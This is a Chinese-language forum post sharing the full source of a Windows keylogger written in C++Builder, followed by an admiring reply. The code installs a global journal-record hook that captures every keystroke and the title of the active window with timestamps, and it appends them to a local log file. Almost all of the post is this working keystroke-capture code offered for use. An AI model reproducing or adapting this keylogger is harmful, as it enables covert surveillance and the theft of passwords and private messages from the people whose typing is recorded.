返回列表 发帖

C语言写的一个键盘记录程序

  1. //---------------------------------------------------------------------------

  2. #include <vcl.h>

  3. #include <stdio.h>
  4. #pragma hdrstop

  5. #include "main.h"
  6. //---------------------------------------------------------------------------
  7. #pragma package(smart_init)
  8. #pragma resource "*.dfm"
  9. //---------------------------------------------------------------------------
  10. HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam);
  11. //钩子变量
  12. HHOOK g_hLogHook=NULL;
  13. //记录上一次得到焦点的窗口句柄
  14. HWND g_hLastFocus=NULL;
  15. //键盘掩码变量
  16. const int KeyPressMask=0x80000000;
  17. //保存上一次按键值
  18. //char g_PrvChar;
  19. //---------------------------------------------------------------------------
  20. HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
  21. {
  22. if(iCode<0) return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
  23. if(iCode==HC_ACTION)
  24. {
  25.     EVENTMSG* pEvt=(EVENTMSG*)lParam;
  26.     int i;
  27.     HWND hFocus;           //保存当前活动窗口句柄
  28.     char szTitle[256];         //当前窗口名称
  29.     char szTime[128];         //当前的日期和时间
  30.     FILE *stream=fopen("f:\\My\\logfile.txt","a+");
  31.     if(pEvt->message==WM_KEYDOWN)
  32.     {
  33.       int vKey=LOBYTE(pEvt->paramL);   //取得虚拟键值

  34.       char ch;
  35.       char str[10];
  36.       hFocus=GetActiveWindow();     //获得活动窗口的句柄

  37.       if(g_hLastFocus!=hFocus)
  38.       {
  39.         GetWindowText(hFocus,szTitle,256);   //取得一个窗体的标题
  40.         g_hLastFocus=hFocus;

  41.         strcpy(szTime,DateTimeToStr(Now()).c_str());

  42.         fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);

  43.         fprintf(stream,"%c%c",32,32);
  44.       }

  45.       int iShift=GetKeyState(0x10);
  46.       int iCapital=GetKeyState(0x14);
  47.       int iNumLock=GetKeyState(0x90);

  48.       bool bShift=(iShift&KeyPressMask)==KeyPressMask;
  49.       bool bCapital=(iCapital&1)==1;
  50.       bool bNumLock=(iNumLock&1)==1;

  51.       if(vKey==9)           //TAB
  52.         fprintf(stream,"%c",'\t');
  53.       if(vKey==13)           //回车键
  54.         fprintf(stream,"%c",'\n');
  55.       if(vKey>=48 && vKey<=57)       //数字键0-9
  56.       {
  57.         if(!bShift)
  58.           fprintf(stream,"%c",vKey);
  59.         else
  60.         {
  61.           switch(vKey)
  62.           {
  63.           case 49:
  64.             ch='!';
  65.             break;
  66.           case 50:
  67.             ch='@';
  68.             break;
  69.           case 51:
  70.             ch='#';
  71.             break;
  72.           case 52:
  73.             ch='$';
  74.             break;
  75.           case 53:
  76.             ch='%';
  77.             break;
  78.           case 54:
  79.             ch='^';
  80.             break;
  81.           case 55:
  82.             ch='&';
  83.             break;
  84.           case 56:
  85.             ch='*';
  86.             break;
  87.           case 57:
  88.             ch='(';
  89.             break;
  90.           case 48:
  91.             ch=')';
  92.             break;
  93.           }
  94.           fprintf(stream,"%c",ch);
  95.         }
  96.       }

  97.       if(vKey>=65 && vKey<=90)       //A-Z a-z
  98.       {
  99.         if(!bCapital)
  100.         {
  101.           if(bShift)
  102.             ch=vKey;
  103.           else
  104.             ch=vKey+32;
  105.         }
  106.         else if(bShift)
  107.           ch=vKey+32;
  108.         else
  109.           ch=vKey;
  110.         fprintf(stream,"%c",ch);
  111.       }

  112.       if(vKey>=96 && vKey<=105)       //小键盘0-9
  113.       {
  114.         if(bNumLock)
  115.           fprintf(stream,"%c",vKey-96+48);
  116.       }

  117.       if(vKey>=186 && vKey<=222)       //其它键
  118.       {
  119.         switch(vKey)
  120.         {
  121.           case 186:
  122.             if (!bShift)
  123.                 ch=';';
  124.             else
  125.                 ch=':';
  126.             break;
  127.           case 187:
  128.             if (!bShift)
  129.                 ch='=';
  130.             else
  131.                 ch='+';
  132.             break;
  133.           case 188:
  134.             if (!bShift)
  135.                 ch=',';
  136.             else
  137.                 ch='<';
  138.             break;
  139.           case 189:
  140.             if (!bShift)
  141.                 ch='-';
  142.             else
  143.                 ch='_';
  144.             break;
  145.           case 190:
  146.             if (!bShift)
  147.                 ch='.';
  148.             else
  149.                 ch='>';
  150.             break;
  151.           case 191:
  152.             if (!bShift)
  153.                 ch='/';
  154.             else
  155.                 ch='?';
  156.             break;
  157.           case 192:
  158.             if (!bShift)
  159.                 ch='`';
  160.             else
  161.                 ch='~';
  162.             break;
  163.           case 219:
  164.             if (!bShift)
  165.                 ch='[';
  166.             else
  167.                 ch='{';
  168.             break;
  169.           case 220:
  170.             if (!bShift)
  171.                 ch='\\';
  172.             else
  173.                 ch='|';
  174.             break;
  175.           case 221:
  176.             if (!bShift)
  177.                 ch=']';
  178.             else
  179.                 ch='}';
  180.             break;
  181.           case 222:
  182.             if (!bShift)
  183.                 ch='\'';
  184.             else
  185.                 ch='\"';
  186.             break;
  187.           default:
  188.             ch='n';
  189.             break;
  190.         }
  191.         if (ch!='n' )
  192.           fprintf(stream,"%c",ch);
  193.       } //
  194.       if(vKey>=112 && vKey<=123)       // 功能键 [F1]-[F12]
  195.       {
  196.         switch(wParam)
  197.         {
  198.           case 112:
  199.             fprintf(stream,"%s","[F1]");
  200.             break;
  201.           case 113:
  202.             fprintf(stream,"%s","[F2]");
  203.             break;
  204.           case 114:
  205.             fprintf(stream,"%s","[F3]");
  206.             break;
  207.           case 115:
  208.             fprintf(stream,"%s","[F4]");
  209.             break;
  210.           case 116:
  211.             fprintf(stream,"%s","[F5]");
  212.             break;
  213.           case 117:
  214.             fprintf(stream,"%s","[F6]");
  215.             break;
  216.           case 118:
  217.             fprintf(stream,"%s","[F7]");
  218.             break;
  219.           case 119:
  220.             fprintf(stream,"%s","[F8]");
  221.             break;
  222.           case 120:
  223.             fprintf(stream,"%s","[F9]");
  224.             break;
  225.           case 121:
  226.             fprintf(stream,"%s","[F10]");
  227.             break;
  228.           case 122:
  229.             fprintf(stream,"%s","[F11]");
  230.             break;
  231.           case 123:
  232.             fprintf(stream,"%s","[F12]");
  233.             break;
  234.         }
  235.       }
  236.       if (vKey>=8 && vKey<=46)       //方向键
  237.       {
  238.         switch (vKey)
  239.         {
  240.           case 8:
  241.             strcpy(str,"[BK]");
  242.             break;
  243.           case 9:
  244.             strcpy(str,"[TAB]");
  245.             break;
  246.           case 13:
  247.             strcpy(str,"[EN]");
  248.             break;
  249.           case 27:
  250.             strcpy(str,"[ESC]");
  251.             break;
  252.           case 32:
  253.             strcpy(str,"[SP]");
  254.             break;
  255.           case 33:
  256.             strcpy(str,"[PU]");
  257.             break;
  258.           case 34:
  259.             strcpy(str,"[PD]");
  260.             break;
  261.           case 35:
  262.             strcpy(str,"[END]");
  263.             break;
  264.           case 36:
  265.             strcpy(str,"[HOME]");
  266.             break;
  267.           case 37:
  268.             strcpy(str,"[LF]");
  269.             break;
  270.           case 38:
  271.             strcpy(str,"[UF]");
  272.             break;
  273.           case 39:
  274.             strcpy(str,"[RF]");
  275.             break;
  276.           case 40:
  277.             strcpy(str,"[DF]");
  278.             break;
  279.           case 45:
  280.             strcpy(str,"[INS]");
  281.             break;
  282.           case 46:
  283.             strcpy(str,"[DEL]");
  284.             break;
  285.           default:
  286.             ch='n';
  287.             break;
  288.         }
  289.         if (ch!='n' )
  290.         {
  291.           //if (g_PrvChar!=vKey)
  292.           //{
  293.             fprintf(stream,"%s",str);
  294.             //g_PrvChar=vKey;
  295.           //}
  296.         }
  297.       }
  298.     }
  299.     if(pEvt->message==WM_LBUTTONDOWN||pEvt->message==WM_RBUTTONDOWN)
  300.     {
  301.       hFocus=GetActiveWindow();
  302.       if(g_hLastFocus!=hFocus)
  303.       {
  304.         g_hLastFocus=hFocus;
  305.         GetWindowText(hFocus,szTitle,256);
  306.         strcpy(szTime,DateTimeToStr(Now()).c_str());
  307.         fprintf(stream,"%c%s%c%c%s",10,szTime,32,32,szTitle);
  308.         fprintf(stream,"%c%c",32,32);
  309.       }
  310.     }
  311.     fclose(stream);
  312. }
  313. return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
  314. }
  315. //---------------------------------------------------------------------------
  316. TForm1 *Form1;
  317. //---------------------------------------------------------------------------
  318. __fastcall TForm1::TForm1(TComponent* Owner)
  319. : TForm(Owner)
  320. {
  321. }
  322. //---------------------------------------------------------------------------
  323. void __fastcall TForm1::ButtonInstallClick(TObject *Sender)
  324. {
  325. if(g_hLogHook==NULL)
  326. g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
  327. }
  328. //---------------------------------------------------------------------------
  329. void __fastcall TForm1::ButtonUninstallClick(TObject *Sender)
  330. {
  331. if(g_hLogHook!=NULL)
  332. {
  333. UnhookWindowsHookEx(g_hLogHook);
  334. g_hLogHook=NULL;
  335. }
  336. }
  337. //
复制代码

又是一个自己写的。。强悍啊。我什么时候也可以这样啊。。哎
花前月下,不如花钱“日”下~~~

TOP

返回列表